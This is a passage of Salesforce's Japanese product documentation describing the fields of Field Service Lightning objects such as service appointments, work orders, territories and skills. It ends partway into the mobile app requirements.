ダイレクトされます。Salesforce1では、フィード項目からはリンクされた記事にアクセスできません。

関連トピック:

リンク済み記事の項目

Field Service Lightning オブジェクト項目

Field Service Lightning 標準オブジェクトで使用できる項目について説明します。
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サービス予約の項目
サービス予約には次の項目があります。ページレイアウト設定と項目レベルセキュリティ設定によっては、
これらの項目には表示できないものや編集できないものがあります。
サービス人員の項目
サービス人員とその関連オブジェクトには、次の項目があります。ページレイアウト設定と項目レベルセ
キュリティ設定によっては、これらの項目には表示できないものや編集できないものがあります。
サービステリトリーの項目
サービステリトリーとサービステリトリーメンバーには、次の項目があります。ページレイアウト設定と
項目レベルセキュリティ設定によっては、これらの項目には表示できないものや編集できないものがあり
ます。
作業指示項目
作業指示には、次の項目が含まれます。ページレイアウト設定と項目レベルセキュリティ設定によっては、
これらの項目には表示できないものや編集できないものがあります。
作業指示品目の項目
作業指示品目には次の項目が含まれます。ページレイアウト設定と項目レベルセキュリティ設定によって
は、これらの項目には表示できないものや編集できないものがあります。
作業種別の項目
作業種別には、次の項目があります。ページレイアウト設定と項目レベルセキュリティ設定によっては、
これらの項目には表示できないものや編集できないものがあります。
リンク済み記事の項目
リンク済み記事とは、作業指示または作業指示品目に添付されているナレッジ記事です。リンク済み記事
には次の項目が含まれます。ページレイアウト設定と項目レベルセキュリティ設定によっては、これらの
項目には表示できないものや編集できないものがあります。
業務時間の項目
業務時間および時間枠には次の制限事項があります。ページレイアウト設定と項目レベルセキュリティ設
定によっては、これらの項目には表示できないものや編集できないものがあります。
フィールドサービスのスキルの項目
スキルは、フィールドサービス人員の認定と専門分野を表します。スキルとその関連オブジェクトには、
次の項目があります。ページレイアウト設定と項目レベルセキュリティ設定によっては、これらの項目に
は表示できないものや編集できないものがあります。
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サービス予約の項目
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

サービス予約には次の項目があります。ページレイアウト設定と項目レベルセ
キュリティ設定によっては、これらの項目には表示できないものや編集できな
いものがあります。

説明項目名

(参照のみ) 予約に関連付けられた取引
先。親レコードが作業指示または作業
指示品目の場合、この項目の値は親か
ら継承されます。それ以外の場合は、
空白のままになります。

取引先

人員が現場に到着してから予約を完了
するのにかかった分数。値が初めて

実際の所要時間 (分)

[実際の開始時間]項目および [実際の
終了時間]項目に追加されると、[実際
の所要時間]が自動的に入力されて[実
際の開始時間]と [実際の終了時間]の
差がリストされます。その後、[実際
の開始時間]項目および [実際の終了時
間] 項目が更新されても [実際の所要
時間] 項目は再更新されませんが、手
動で更新することができます。

予約が終了した実際の日時。実際の終了時間

予約が開始した実際の日時。実際の開始時間

予約が実行される住所。親レコードで
住所がリストされている場合、住所は
親レコードから継承されます。

Address

予約を識別する自動割り当て番号。予約番号

技術者の現場到着予定期間の終了。遅
延やスケジュールの変更に対応できる

到着期間の終了

ように、この期間は通常、[スケジュー
ル済み開始時間] と [スケジュール済み
終了時間] の期間よりも長くなります。
[到着期間の開始] と [到着期間の終了]

は顧客と共有して、[スケジュール済み
開始時間] と [スケジュール済み終了時
間] は内部のみに制限することができ
ます。
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説明項目名

技術者の現場到着予定期間の開始。遅延やスケジュー
ルの変更に対応できるように、この期間は通常、[ス

到着期間の開始

ケジュール済み開始時間] と [スケジュール済み終了時
間] の期間よりも長くなります。[到着期間の開始] と
[到着期間の終了] は顧客と共有して、[スケジュール済
み開始時間] と [スケジュール済み終了時間] は内部の
みに制限することができます。

予約に関連付けられた取引先責任者。親レコードが作
業指示または作業指示品目の場合、この項目の値は親
から継承されます。

取引先責任者

予約の説明。Description

この日までに予約を完了する必要があります。通常、
[許容最早開始日]と [期日]には顧客のサービスレベ
ル契約の条件が反映されます。

期日

予約の推定期間。親レコードが作業指示または作業指
示品目の場合、予約は親の期間を継承しますが、手動

期間

で更新できます。期間の単位は、[期間種別] 項目で
選択した値に基づいて分または時間になります。

期間の単位 (分または時間)。期間種別

この日以降に予約を完了する必要があります。通常、
[許容最早開始日]と [期日]には顧客のサービスレベ
ル契約の条件が反映されます。

許容最早開始日

予約に関連付けられた親レコード。親レコード

(参照のみ) 親レコードの状況カテゴリ。親レコードが
作業指示または作業指示品目の場合はこの項目に入力
し、それ以外の場合は空白のままにします。

親レコードの状況カテゴリ

(参照のみ) 親レコードのタイプ (取引先、納入商品、
商談、作業指示、作業指示品目)。

親レコード種別

予約の終了予定時間。Field Service Lightning管理パッケー
ジとスケジュールオプティマイザを使用している場

スケジュール済み終了時間

合、この項目は予約が人員に割り当てられると入力さ
れます。スケジュール済み終了時間  – [スケジュール済
み開始時間]  = [予想所要時間].

予約の開始予定時間。Field Service Lightning管理パッケー
ジとスケジュールオプティマイザを使用している場

スケジュール済み開始時間
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説明項目名

合、この項目は予約が人員に割り当てられると入力さ
れます。

予約に関連付けられたサービステリトリー。親レコー
ドが作業指示または作業指示品目の場合、予約は親の
サービステリトリーを継承します。

サービステリトリー

予約の状況。選択リストには、カスタマイズ可能な次
の値が表示されます。

Status

• なし  - デフォルト値。
• スケジュール済み  — 予約はサービスリソースに割

り当てられています。
• 派遣済み  — 割り当てられたサービスリソースは、

割り当てについて通知されました。
• 進行中  - 作業が開始されました。
• 完了  - 作業が完了しました。
• 完了不可  - 作業を完了できませんでした。
• キャンセル済み  - 作業がキャンセルされました。通

常は作業開始前にキャンセルされます。

それぞれの [状況] の値が分類されるカテゴリ。[状
況のカテゴリ]項目には 7 個の値があり、[状況]のデ
フォルト値と同一です。
カスタムの [状況] 値を作成する場合は、どのカテゴ
リに属すかを指定する必要があります。たとえば、

状況のカテゴリ

「Customer Absent」(お客様不在) という値を作成
する場合、それが [完了できません] カテゴリに属す
るということを指定できます。
[状況のカテゴリ] 項目は、カスタムアプリケーショ
ン、トリガ、および入力規則を参照する場合に便利で
す。状況カテゴリでは、追跡、レポート、ビジネスプ
ロセス管理の一貫した作業分類を維持しながら、作業
のライフサイクルを拡張およびカスタマイズできま
す。

予約について説明する短い語句。Subject

関連トピック:

サービス予約の使用に関するガイドライン
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サービス人員の項目
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

サービス人員とその関連オブジェクトには、次の項目があります。ページレイ
アウト設定と項目レベルセキュリティ設定によっては、これらの項目には表示
できないものや編集できないものがあります。
サービス人員とは、フィールドサービス作業を完了できるユーザのことです。
次の項目があります。

説明項目名

このオプションを選択すると、人員を
作業指示に割り当てることができま
す。サービス追跡の目的のために、人
員は削除できないため、人員を解任す
る最適な方法はその人員を無効にする
ことです。

有効

業務量ベースの人員は、指定された期
間内の特定の時間または予約数に制限
されます。

Capacity-Based

ヒント:  [業務量] 関連リストに
は、人員の業務量が表示されま
す。

リソースの説明。Description

このオプションを選択すると、サービ
ススケジュールオプティマイザでの最

スケジュールの最適化に含める

適化プロセス中にこの人員を作業指示
に割り当てることができます。Field

Service Lightning 管理パッケージがイン
ストールされている場合にのみ使用し
ます。スケジュールの最適化には、
「Field Service Scheduling」権限セットラ
イセンスを持つユーザのみを含めるこ
とができます。

人員の名前。通常は、関連付けられた
ユーザの名前または役職を入力しま
す。

Name

人員が技術者であるか派遣担当者であ
るかを指定します。派遣担当者である

人員種別

人員は業務量ベースにすることができ
ません。また、スケジュールの最適化
に含めることもできません。派遣担当
者に指定できるのは、「Field Service
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説明項目名

Scheduling」権限セットライセンスを持つユーザのみ
です。

メモ: 人員種別を追加することはできません。

関連付けられたユーザ。ユーザ

人員の不在は、サービス人員が作業できない期間です。次の項目があります。

説明項目名

(参照のみ) 不在を識別する自動生成番号。不在 ID

不在の種別には、「ミーティング」、「トレーニン
グ」、「医療」、「休暇」があります。必要に応じて、
カスタム値を追加できます。

不在種別

不在に関連付けられた住所。Address

不在の説明。Description

不在が終了する日時。終了時刻

不在のサービス人員。人員名

不在が開始する日時。開始時刻

サービス人員の業務量は、指定された期間内に人員が実行できる作業量を示します。業務量レコードには次の
項目があります。

説明項目名

業務量の終了日。たとえば、契約の終了日など。EndDate

(参照のみ) 業務量レコードを識別する自動生成番号。Name

人員が期間ごとに作業できる時間数。期間あたりの時間数

関連付けられた人員。サービス人員

業務量が有効になる日付。開始日

日数、時間数、または月数。たとえば、人員が 1 か月
あたり 80 時間作業できる場合、業務量の [期間] は
「月」、[期間あたりの時間数]は「80」になります。

期間
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説明項目名

人員が期間ごとに完了できるサービス予約の合計数。期間あたりの作業項目数

関連トピック:

サービス人員の設定
サービス人員の使用に関するガイドライン

サービステリトリーの項目
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

サービステリトリーとサービステリトリーメンバーには、次の項目があります。
ページレイアウト設定と項目レベルセキュリティ設定によっては、これらの項
目には表示できないものや編集できないものがあります。
サービステリトリーは、フィールドサービス作業を実行できる地域を表します。
次の項目があります。

説明項目名

サービステリトリーが使用されるかど
うかを示します。テリトリーが無効な
場合、テリトリーにメンバーを追加し
たり、テリトリーを作業指示、作業指
示品目、サービス予約に関連付けたり
することはできません。

有効

テリトリーに関連付ける住所。テリト
リーの本社の住所を指定することをお
勧めします。

Address

テリトリーの説明。Description

テリトリーの名前。Name

テリトリーの業務時間。テリトリー内
のサービス予約をいつ実施する必要が

業務時間

あるかを示します。テリトリーのメン
バーであるサービス人員は、サービス
テリトリーメンバーレコードで別の時
間が指定されていない限り、そのテリ
トリーの業務時間を自動的に継承しま
す。

テリトリーの親サービステリトリー (あ
る場合)。たとえば、「中央区」テリト

上位テリトリー

リーにはその親として「東京都」テリ
トリーを指定できます。
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説明項目名

(参照のみ) サービステリトリー階層の最上位テリト
リー。テリトリーが階層のどこにあるかに応じて、そ

最上位テリトリー

の最上位テリトリーが親と同じになる場合がありま
す。

サービステリトリーメンバーとは、サービステリトリー内で作業できるサービス人員のことです。次の項目が
あります。

説明項目名

メンバーの住所。この項目には、関連するサービス人
員の住所を指定することをお勧めします。

Address

サービス人員がテリトリーのメンバーでなくなる日
付。人員が長期間テリトリー内で作業する場合、この

EndDate

項目は空白のままにします。この項目は主に、一時的
な再配置が終了することを示す場合に役立ちます。

(参照のみ) サービステリトリーメンバーを識別する自
動生成番号。

メンバー数

メンバーの業務時間。サービステリトリーから継承さ
れます。

業務時間

サービステリトリーに割り当てられたサービス人員。サービス人員

サービス人員が割り当てられているサービステリト
リー。

サービステリトリー

サービス人員がサービステリトリーのメンバーになる
日付。

開始日

プライマリ、セカンダリ、または再配置。テリトリー種別
• プライマリテリトリーは通常、人員が最も頻繁に

作業するテリトリー (本拠地の周辺など) です。サー
ビス人員に割り当てることができるプライマリテ
リトリーは 1 つのみです。

• セカンダリテリトリーは、必要に応じて人員を予
約に割り当て可能なテリトリーです。サービス人
員に複数のセカンダリテリトリーを割り当てるこ
とができます。

• 再配置テリトリーは、サービス人員の一時的な異
動を表します。スケジュールオプティマイザが含
まれる Field Service Lightning 管理パッケージを使用
している場合、再配置テリトリーのある人員は、
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説明項目名

指定された再配置日付中は常に再配置テリトリー
内のサービスに割り当てられます。再配置テリト
リーがない場合、プライマリテリトリーがセカン
ダリよりも優先されます。

たとえば、サービス人員に次のテリトリーを設定でき
ます。
• プライマリテリトリー: ウェストシカゴ
• セカンダリテリトリー:

– イーストシカゴ
– サウスシカゴ

• 再配置テリトリー: マンハッタン  (3 か月)

関連トピック:

サービステリトリーの設定
サービステリトリーの使用に関するガイドライン

作業指示項目
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

作業指示には、次の項目が含まれます。ページレイアウト設定と項目レベルセ
キュリティ設定によっては、これらの項目には表示できないものや編集できな
いものがあります。

説明項目

作業指示に関連付けられた取引先。取引先

作業指示が完了した複合型の住所。作
業指示は、関連付けられた取引先から
アドレスを継承します。作業指示の
サービス予約と品目はその住所を継承
します。ただし、品目の住所は更新で
きます。

町名・番地

作業指示に関連付けられた納入商品。納入商品

作業指示に関連付けられた営業時間。営業時間

作業指示に関連付けられたケース。ケース

作業指示が完了した市区郡。最大文字
数は 40 文字です。

市区郡
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説明項目

作業指示に関連付けられた取引先責任者。取引先責任者

作業指示が完了した国。最大 80 文字です。国

組織で使用できる通貨の ISO コード。マルチ通貨機能
を有効化している組織にのみ使用できます。

通貨 ISO コード

作業指示の説明。作業指示を [完了] とマークするた
めにユーザが完了する必要のある手順を説明すること
をお勧めします。

説明

(参照のみ) 作業指示のすべての品目名に対する割引の
重みつき平均。これは 100 までの正の数です。

割引

作業指示を完了するのに必要な予定時間。期間の単位
を [期間種別] 項目に指定します。

期間

期間の単位 (分または時間)。期間種別

作業指示が完了した日付。この項目は、自動的に入力
されるように設定していない場合は空白です。[開始

終了日

日]項目 (類似項目) を設定するサンプルワークフロー
ルールは、以下を参照してください。

作業指示に関連付けられたエンタイトルメント。エンタイトルメント

作業指示のエンタイトルメントプロセスが終了する時
刻。作業指示にエンタイトルメントプロセスが適用さ
れる場合は、この項目が表示されます。

エンタイトルメント処理終了時刻

作業指示のエンタイトルメントプロセスが開始された
時刻。作業指示にエンタイトルメントプロセスが適用
される場合は、この項目が表示されます。

エンタイトルメント処理開始時刻

物理的住所と比較した場合の場所の地理座標の精度レ
ベル。通常、住所の緯度および経度座標に基づいて、
地理コードサービスからこの値が提供されます。

地理コードの精度

(参照のみ) 作業指示の合計金額 (税込)。総計

作業指示が完了しているかどうかを示します。完了

ヒント: この項目を使用して、完了した作業指
示と現在の作業指示を対比したレポートを作成
します。

作業指示が最後に更新された日付。最終更新日

作業指示が最後に参照された日付。最終参照日
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説明項目

[経度] と一緒に使用して、作業指示が完了した住所
の正確な地理位置情報を指定します。許容値は、–90

～ 90 (小数点以下 15 桁まで) の数値です。

緯度

(参照のみ) 作業指示の作業指示品目数。品目名

[緯度] と一緒に使用して、作業指示が完了した住所
の正確な地理位置情報を指定します。許容値は、–180

～ 180 (小数点以下 15 桁まで) の数値です。

経度

マイルストンは、エンタイトルメントプロセスの 1 ス
テップです。「準拠」、「オープン違反」、「クロー

マイルストン状況

ズ違反」の 3 つのうちのいずれかを指定できます。作
業指示にエンタイトルメントプロセスが適用される場
合は、この項目が表示されます。詳細は、「マイルス
トンの状況」を参照してください。

マイルストンの状況に対応するアイコン。マイルストン状況アイコン
• 適合
• 未処理の違反
• クローズ違反

作業指示の割り当てられた所有者。所有者

作業指示の親作業指示 (ある場合)。親作業指示

ヒント: 作業指示の子作業指示は、[子作業指示]

関連リストで表示、作成、削除します。

作業指示が完了した郵便番号。最大 20 文字です。郵便番号

作業指示に関連付けられた価格表。価格表を作業指示
に追加すると、別の価格表エントリ (商品) を作業指示

価格表

の品目に割り当てることができます。この項目は、商
品が有効な場合にのみ使用できます。

作業指示の優先度。選択リストには、カスタマイズ可
能な次の値が表示されます。

優先度

• 低
• 中
• 高
• 重大
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説明項目

(参照のみ) 作業指示階層の最上位作業指示。作業指示
が階層のどこにあるかに応じて、ルートが親と同じに
なる場合があります。

ルート作業指示

作業指示に関連付けられたサービス契約。サービス契約

作業指示が実行されるサービステリトリー。サービステリトリー

作業指示が有効になる日付。この項目は、自動的に入
力されるように設定していない場合は空白です。この

開始日

項目を設定するサンプルワークフロールールは、以下
を参照してください。

作業指示が完了した状態。最大 80 文字です。都道府県

作業指示の状況。選択リストには、カスタマイズ可能
な次の値が表示されます。

状況

• 新規  — 作業指示は作成されましたが、まだ活動が
ありません。

• 進行中  - 作業が開始されました。
• 保留中  - 作業が中断しています。
• 完了  - 作業が完了しました。
• 完了不可  - 作業を完了できませんでした。
• クローズ済み  - すべての作業と関連する活動が完了

しました。
• キャンセル  - 作業がキャンセルされました。通常は

作業開始前にキャンセルされます。
作業指示の状況を変更しても、作業指示品目または関
連付けられているサービス予約の状況は影響されませ
ん。

それぞれの状況の値が分類されるカテゴリ。[状況の
カテゴリ] 項目には 8 個のデフォルト値があります。7

状況のカテゴリ

個の値はデフォルトの [状況] 値と同じであり、状況
のカテゴリがない状況のために [なし] という値があ
ります。
カスタムの [状況] 値を作成する場合は、どのカテゴ
リに属すかを指定する必要があります。たとえば、
[応答待機中]  (入力を待機中) という値を作成する場
合、それが [保留中] カテゴリに属するということを
指定できます。
[状況のカテゴリ] 項目は、カスタムアプリケーショ
ン、トリガ、および入力規則を参照する場合に便利で
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説明項目

す。状況カテゴリでは、追跡、レポート、ビジネスプ
ロセス管理の一貫した作業分類を維持しながら、作業
のライフサイクルを拡張およびカスタマイズできま
す。

作業指示が完了した番地および町名。町名・番地

作業指示の件名。完了させるジョブの特性および目的
を説明します。たとえば、「年 1 回の徹底的なオンサ

件名

イトメンテナンス」などです。最大文字数は 255 文字
です。

(参照のみ) 割引および税金を適用する前の作業指示品
目の小計の合計。

小計

作業指示の税額合計。たとえば、合計金額が $100 の
作業指示の場合、10 パーセントの税金を適用するに

消費税等

は「$10」と入力します。通貨記号を使用して、また
は使用せずに数値を入力できます。また、小数点以下
の桁数は最大 2 桁です。

(参照のみ) 割引後の作業指示品目の合計金額 (税別)。合計金額

作業指示を識別する自動生成番号。作業指示番号

作業指示に関連付けられた作業種別。作業種別が選択
されている場合、作業指示はその作業種別の[期間]、

作業種別

[期間種別]、および必要なスキルを自動的に継承しま
す。

例: [開始日] 項目と [終了日] 項目はデフォルトでは空白ですが、自動的に入力するようにワークフロー
ルールを設定できます。次のルールでは、[状況] 項目が [処理中] に変更されたときに、[開始日] 項目
に現在の日時を入力します。
1. 作業指示オブジェクトのワークフロールールを作成する手順は、次のとおりです。

• [評価条件] で、[作成済み] を選択します。
• [ルール条件] で、「Work Order: Status EQUALS In Progress」と入力します。

2. [新規項目自動更新] ワークフローアクションを追加します。
• [更新する項目] で、[開始日] を選択します。
• [日付オプション] で、数式を使用するオプションを選択し、数式「NOW()」を入力します。
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3. ルールを保存して有効化します。

関連トピック:

作業指示の使用に関するガイドライン
作業指示の使用に関する考慮事項
作業指示の設定
作業指示品目の項目

作業指示品目の項目
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

作業指示品目には次の項目が含まれます。ページレイアウト設定と項目レベル
セキュリティ設定によっては、これらの項目には表示できないものや編集でき
ないものがあります。

説明項目

品目のアドレス。品目は親作業指示か
らアドレスを継承しますが、手動で更
新することもできます。

町名・番地

品目に関連付けられている納入商品。
組織で階層納入商品 (Spring '16 以降に使
用可能) を使用している場合は、作業
指示の品目を異なる納入商品にリンク
する必要がある場合があります。この

納入商品

ため、品目は自動的に親作業指示の納
入商品値を継承しません。

組織で使用できる通貨の ISO コード。
マルチ通貨機能を有効化している組織
にのみ使用できます。

通貨 ISO コード

品目の説明。品目を [完了] とマーク
するためにユーザが実行する必要のあ

説明

る手順を説明することをお勧めしま
す。

品目に適用する割引率。パーセント記
号を使用して、または使用せずに数値

割引

を入力できます。また、小数点以下の
桁数は最大 2 桁です。

品目を完了するのに必要な予定時間。
期間の単位を [期間種別] 項目に指定
します。

所要時間
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説明項目

期間の単位 (分または時間)。期間種別

品目の完了日。終了日

物理的住所と比較した場合の場所の地理座標の精度レ
ベル。通常、住所の緯度および経度座標に基づいて、
地理コードサービスからこの値が提供されます。

地理コードの精度

品目が完了しているかどうかを示します。品目の状況
を [クローズ済み] に変更すると、ユーザインター
フェースでこのチェックボックスがオンになります。

完了

[経度] と一緒に使用して、作業指示が完了した住所
の正確な地理位置情報を指定します。許容値は、–90

～ 90 (小数点以下 15 桁まで) の数値です。

緯度

品目を特定する自動生成番号。品目番号

対応する価格表エントリに表示される品目 (商品) の価
格。商品が指定されていない場合は、デフォルトの 0

に設定されます。(参照のみ)

リスト価格

[緯度] と一緒に使用して、作業指示が完了した住所
の正確な地理位置情報を指定します。許容値は、–180

～ 180 (小数点以下 15 桁まで) の数値です。

経度

品目に関連付けられている順序。たとえば、品目を完
了する前に交換部品を注文する必要がある場合があり
ます。

順序

品目の親品目 (存在する場合)。親作業指示品目

ヒント: 品目の子品目は、[子作業指示品目] 関連
リストで表示、作成、削除します。

品目に関連付けられている商品 (価格表エントリ)。こ
の項目のルックアップ検索では、作業指示の価格表に
含まれる商品のみが返されます。

商品

品目の数量。数量

品目階層の最上位の品目。品目名が階層のどこにある
かに応じて、ルートが親と同じになる場合がありま
す。(参照のみ)

ルート作業注文品目

品目の作業が実行されるサービステリトリー。サービステリトリー

品目が有効になる日付。開始日
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説明項目

品目の状況。選択リストには、カスタマイズ可能な次
の値が表示されます。

状況

• 新規  — 品目は作成されましたが、まだ活動があり
ません。

• 進行中  - 作業が開始されました。
• 保留中  - 作業が中断しています。
• 完了  - 作業が完了しました。
• 完了不可  - 作業を完了できませんでした。
• クローズ済み  - すべての作業と関連する活動が完了

しました。
• キャンセル  - 作業がキャンセルされました。通常は

作業開始前にキャンセルされます。

それぞれの状況の値が分類されるカテゴリ。[状況の
カテゴリ] 項目には 8 個のデフォルト値があります。7

状況のカテゴリ

個の値はデフォルトの [状況] 値と同じであり、状況
のカテゴリがない状況のために [なし] という値があ
ります。
カスタムの [状況] 値を作成する場合は、どのカテゴ
リに属すかを指定する必要があります。たとえば、
[応答待機中]  (入力を待機中) という値を作成する場
合、それが [保留中] カテゴリに属するということを
指定できます。
[状況のカテゴリ] 項目は、カスタムアプリケーショ
ン、トリガ、および入力規則を参照する場合に便利で
す。状況カテゴリでは、追跡、レポート、ビジネスプ
ロセス管理の一貫した作業分類を維持しながら、作業
のライフサイクルを拡張およびカスタマイズできま
す。

品目の件名。「タイヤの確認」など。件名

品目の単価に数量を乗じた金額。(参照のみ)小計

品目の小計に割引が適用された価格。(参照のみ)合計金額

デフォルトでは、品目の単価は価格表からの商品のリ
スト価格ですが、変更できます。

単価

品目の親作業指示。作業指示品目は作業指示に関連付
ける必要があるため、この項目は必須です。

作業指示
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説明項目

品目に関連付けられた作業種別。作業種別が選択され
ている場合、作業指示品目はその作業種別の[期間]、

作業種別

[期間種別]、および必要なスキルを自動的に継承しま
す。

関連トピック:

作業指示の設定
作業指示項目

作業種別の項目
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

作業種別には、次の項目があります。ページレイアウト設定と項目レベルセキュ
リティ設定によっては、これらの項目には表示できないものや編集できないも
のがあります。

説明項目名

作業種別の説明。この作業種別が表す
タスクに関する詳細を追加します。

Description

[予想所要時間] の単位 (分または時
間)。

期間種別

作業にかかる推定時間。推定所要時間
は、[所要時間種別]項目で選択した値
に基づく分または時間単位です。

予想所要時間

作業種別の名前。その作業種別からど
のような種類の作業指示が作成される

Name

のかがすぐにわかるような名前を使用
してください。たとえば、「年 1 回の
冷蔵庫メンテナンス」、「バルブ交
換」など。

関連トピック:

作業指示項目
作業指示品目の項目
作業指示の設定
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リンク済み記事の項目
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

リンク済み記事とは、作業指示または作業指示品目に添付されているナレッジ
記事です。リンク済み記事には次の項目が含まれます。ページレイアウト設定
と項目レベルセキュリティ設定によっては、これらの項目には表示できないも
のや編集できないものがあります。

説明項目

記事がレコードに添付されたときに作
成されるリンク済み記事レコードの
ID。

記事 ID

添付記事のタイトル。記事タイトル

レコードに添付されている記事のバー
ジョン。この項目には添付されている

記事バージョン

バージョンのタイトルが表示され、そ
のバージョンにリンクします。
記事を作業指示に添付すると、それ以
降のバージョンが公開されても、添付
したバージョンの記事が作業指示に関
連付けられたままになります。必要に
応じて、作業指示から記事を添付解除
して再添付すると、最新バージョンを
リンクできます。
たとえば、レコードに添付されたとき
の記事のタイトルが「検索条件の置換
方法」であった場合、この項目には同
タイトルが表示され、添付されている
バージョンにリンクします。

レコードに添付されている記事の ID。ナレッジの記事 ID

記事が最後に参照された日付。最後の参照

(参照のみ) 記事が添付されているレコー
ドタイプ。たとえば、記事が作業指示

リンクされたオブジェクト種別

に添付されている場合は、この項目に
「作業指示」と表示されます。

記事が添付されているレコードの ID。
たとえば、記事が作業指示に添付され

リンクされたレコード ID

ている場合は、この項目に作業指示の
ID が表示されます。
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説明項目

リンク済み記事のレコードタイプ。この項目は、レ
コードタイプが使用されている場合にのみ入力されま
す。

レコードタイプ ID

関連トピック:

作業指示でのナレッジの使用に関するガイドライン

業務時間の項目
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

業務時間および時間枠には次の制限事項があります。ページレイアウト設定と
項目レベルセキュリティ設定によっては、これらの項目には表示できないもの
や編集できないものがあります。
業務時間をサービステリトリー、サービステリトリーメンバー、および取引先
に割り当て、フィールドサービス作業を実行可能な時間を指定できます。Salesforce

の [業務時間] タブで業務時間を作成します。業務時間には次の項目があります。

説明項目名

業務時間の説明。名前に含まれていな
い詳細を追加します。

Description

業務時間の名前。たとえば、「夏季の
業務時間」、「冬季の業務時間」、「ハ
イシーズンの業務時間」など。

Name

業務時間のタイムゾーン。タイムゾーン

時間枠は、フィールドサービス作業を完了できる 1 日内の期間を表します。業務時間を作成したら、[時間枠]

関連リストでそれぞれの日の時間枠を作成します。時間枠には次の項目があります。

説明項目名

時間枠が適用される曜日。曜日

時間枠が終了する時刻。終了時刻

時間枠の名前。この名前は曜日と時刻形式 ([月曜日午
前 9 時～ 10 時] など) で自動入力されますが、必
要に応じて手動で更新できます。

Name

時間枠が属する業務時間。業務時間の時間枠は、[業
務時間] 関連リストに表示されます。

業務時間

時間枠が開始する時刻。開始時刻
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説明項目名

時間枠の種別。使用できる値は、[通常]と [拡張]で
す。[拡張] を使用して時間外シフトを表すことがで
きます。

Type

メモ: 業務時間または時間枠のカスタム項目は作成できません。

関連トピック:

業務時間の作成

フィールドサービスのスキルの項目
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

スキルは、フィールドサービス人員の認定と専門分野を表します。スキルとそ
の関連オブジェクトには、次の項目があります。ページレイアウト設定と項目
レベルセキュリティ設定によっては、これらの項目には表示できないものや編
集できないものがあります。
スキルは、認定と専門分野を表します。スキルは [設定] で作成され、次の項目
があります。

説明項目名

スキルの名前。Name

スキルの説明。Description

API でのスキルの一意の名前。API 参照名

メモ: スキルを作成する場合、[ユーザの割り当て] および [プロファイルの割り当て] セクションは空白の
ままにします。これらの項目は、スキルも使用する Live Agent 専用です。

サービス人員スキルとは、サービス人員に割り当てられたスキルのことです。サービス人員の詳細ページの
[スキル] 関連リストに表示され、次の項目があります。

説明項目名

スキルが期限切れになる日付。たとえば、人員が 6 か
月後に認定を再取得する必要がある場合、終了日はそ
の認定の期限が切れる日付になります。

EndDate

スキルを持つ人員。サービス人員

人員が持つスキル。スキル
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説明項目名

人員のスキルレベル。スキルレベルの範囲は 0 ～ 99.99

です。スキルレベルを定義する方法についてのヒント
は、「スキル設定の定義」を参照してください。

スキルレベル

人員がスキルを習得した日付。たとえば、スキルが認
定を表す場合、開始日は認定日になります。

開始日

スキル要件とは、人員が作業を完了するのに必要なスキルのことです。作業種別、作業指示、作業指示品目の
詳細ページの [スキル要件] 関連リストに表示され、次の項目があります。

説明項目名

スキルが必要となる作業指示、作業指示品目、または
作業種別。

関連レコード

必須スキル。スキル

必須スキルレベル。スキルレベルの範囲は 0 ～ 99.99

です。
スキルレベル

関連トピック:

フィールドサービスのスキルの設定

Field Service Lightning モバイルアプリケーション

エディション

Field Service Lightning 機能
を使用可能なエディショ
ン: [Enterprise] Edition、
[Performance] Edition、
[Unlimited] Edition、
[Developer] Edition (Service
Cloud 付属)。

Field Service Lightning モバイルアプリケーションは、外出中のフィールドサービス
技術者向けのオールインワンツールです。このエンタープライズクラスのモバ
イル環境では、現場の技術者のために最適化された軽量な設計で Salesforce を利
用します。オフライン機能により、インターネット接続がない状態で作業して
いるときに作業の安全性が確保されます。アプリケーションは詳細なカスタマ
イズが可能で、固有のニーズに合わせてアプリケーションを調整できます。

重要: 始める前に、必要な情報を確認しましょう。次のセクションを参照
することをお勧めします。
• Field Service Lightning の計画
• Field Service Lightning の考慮事項

Field Service Lightning モバイルアプリケーションの要件
Field Service Lightning モバイルアプリケーションを使用する場合のデバイス、エディション、ライセンス、接
続の要件について説明します。

3336

Field Service Lightning モバイルアプリケーションカスタマーサポートツールの設定および管理



Field Service Lightning モバイルアプリケーションの準備
Field Service Lightning モバイルアプリケーションの組織およびユーザを準備します。
Field Service Lightning モバイルアプリケーションの取得
Field Service Lightning モバイルアプリケーションをダウンロードしてインストールします。
Field Service Lightning モバイルアプリケーションの制限事項
Field Service Lightning モバイルアプリケーションの制限事項について説明します。
Field Service Lightning モバイルアプリケーションのカスタマイズ
技術者の固有のフィールドサービスニーズに合わせてField Service Lightning モバイルアプリケーションをカス
タマイズする方法について説明します。

Field Service Lightning モバイルアプリケーションの要件
エディション

Field Service Lightning 機能
を使用可能なエディショ
ン: [Enterprise] Edition、
[Performance] Edition、
[Unlimited] Edition、
[Developer] Edition (Service
Cloud 付属)。

Field Service Lightning モバイルアプリケーションを使用する場合のデバイス、エ
ディション、ライセンス、接続の要件について説明します。

サポートされるデバイス

サポートされるモバイル
OS

サポートされるデバイスField Service アプリケー
ション

iOS 8.4 以降Field Service iOS アプリケー
